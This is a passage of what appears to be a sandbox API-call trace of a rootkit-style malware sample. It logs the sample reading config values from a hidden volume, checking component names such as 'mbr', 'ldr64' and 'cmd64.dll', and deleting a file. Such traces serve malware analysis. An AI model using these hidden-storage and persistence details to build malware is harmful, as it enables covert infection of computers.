Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.731] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.731] IdePortDispatch () returned 0x103 [0129.731] KeWaitForMutexObject () returned 0x0 [0129.731] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.731] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.731] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.731] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.731] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.731] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06f00 [0129.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.731] KeLeaveCriticalRegion () [0129.731] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.732] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.732] KeEnterCriticalRegion () [0129.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.732] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.732] KeLeaveCriticalRegion () [0129.732] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.732] KeEnterCriticalRegion () [0129.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.732] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.732] IdePortDispatch () returned 0x103 [0129.732] KeWaitForMutexObject () returned 0x0 [0129.732] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.732] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.732] KeLeaveCriticalRegion () [0129.732] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.732] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.732] KeEnterCriticalRegion () [0129.732] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.732] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c82000 [0129.732] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.732] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.732] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.732] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.732] IdePortDispatch () returned 0x103 [0129.732] KeWaitForMutexObject () returned 0x0 [0129.733] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.733] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.733] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.733] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.733] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.733] IdePortDispatch () returned 0x103 [0129.733] KeWaitForMutexObject () returned 0x0 [0129.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.733] KeLeaveCriticalRegion () [0129.733] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.733] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.733] KeEnterCriticalRegion () [0129.733] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.733] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.733] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.733] KeLeaveCriticalRegion () [0129.734] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.734] KeEnterCriticalRegion () [0129.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.734] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.734] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04350, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.734] KeLeaveCriticalRegion () [0129.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.734] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.734] KeEnterCriticalRegion () [0129.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.734] ExFreePoolWithTag (P=0xfffffa8003c06f00, Tag=0x0) [0129.734] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.734] KeLeaveCriticalRegion () [0129.734] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.734] ReleaseMutex (hMutex=0xf0) returned 1 [0129.734] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.734] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.734] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.734] KeEnterCriticalRegion () [0129.734] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.734] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.734] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.734] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.734] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.734] IdePortDispatch () returned 0x103 [0129.734] KeWaitForMutexObject () returned 0x0 [0129.734] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.734] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.734] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.734] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.735] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.735] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06480 [0129.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.735] KeLeaveCriticalRegion () [0129.735] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.735] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.735] KeEnterCriticalRegion () [0129.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.735] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.735] KeLeaveCriticalRegion () [0129.735] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.735] KeEnterCriticalRegion () [0129.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.735] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.735] IdePortDispatch () returned 0x103 [0129.735] KeWaitForMutexObject () returned 0x0 [0129.735] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.735] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.735] KeLeaveCriticalRegion () [0129.735] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.735] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.735] KeEnterCriticalRegion () [0129.735] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.735] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c83000 [0129.735] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.735] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.735] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.735] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.736] IdePortDispatch () returned 0x103 [0129.736] KeWaitForMutexObject () returned 0x0 [0129.736] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.736] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.736] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.736] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.736] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.736] IdePortDispatch () returned 0x103 [0129.736] KeWaitForMutexObject () returned 0x0 [0129.736] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.736] KeLeaveCriticalRegion () [0129.736] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.737] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.737] KeEnterCriticalRegion () [0129.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.737] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.737] KeLeaveCriticalRegion () [0129.737] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.737] KeEnterCriticalRegion () [0129.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.737] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.737] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.737] KeLeaveCriticalRegion () [0129.737] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.737] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.737] KeEnterCriticalRegion () [0129.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.737] ExFreePoolWithTag (P=0xfffffa8003c06480, Tag=0x0) [0129.737] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.737] KeLeaveCriticalRegion () [0129.737] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.737] ReleaseMutex (hMutex=0xf0) returned 1 [0129.737] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.737] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.737] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.737] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.737] KeEnterCriticalRegion () [0129.737] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.737] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.737] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.738] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.738] IdePortDispatch () returned 0x103 [0129.738] KeWaitForMutexObject () returned 0x0 [0129.738] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.738] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.738] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.738] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.738] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.738] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.738] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.738] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.738] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.738] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.738] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.738] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.738] KeLeaveCriticalRegion () [0129.738] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.738] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.738] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.738] KeEnterCriticalRegion () [0129.738] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.738] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.738] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.738] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.738] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.738] IdePortDispatch () returned 0x103 [0129.739] KeWaitForMutexObject () returned 0x0 [0129.739] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.739] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.739] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.739] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.739] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.739] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.739] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.739] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.739] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.739] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.739] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.739] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.739] KeLeaveCriticalRegion () [0129.739] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.739] ReleaseMutex (hMutex=0x100) returned 1 [0129.739] Sleep (dwMilliseconds=0x2bf20) [0129.746] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7087a3b0, dwHighDateTime=0x1d24fa4)) [0129.746] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.746] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.746] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.746] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.746] KeEnterCriticalRegion () [0129.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.746] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.746] IdePortDispatch () returned 0x103 [0129.746] KeWaitForMutexObject () returned 0x0 [0129.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.747] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.747] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.747] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.747] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.747] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06090 [0129.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.748] KeLeaveCriticalRegion () [0129.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.748] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.748] KeEnterCriticalRegion () [0129.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.748] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.748] KeLeaveCriticalRegion () [0129.748] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.748] KeEnterCriticalRegion () [0129.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.748] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.748] IdePortDispatch () returned 0x103 [0129.748] KeWaitForMutexObject () returned 0x0 [0129.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.748] KeLeaveCriticalRegion () [0129.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.748] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.748] KeEnterCriticalRegion () [0129.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca2000 [0129.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.748] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.748] IdePortDispatch () returned 0x103 [0129.749] KeWaitForMutexObject () returned 0x0 [0129.749] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.749] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.749] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.749] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) 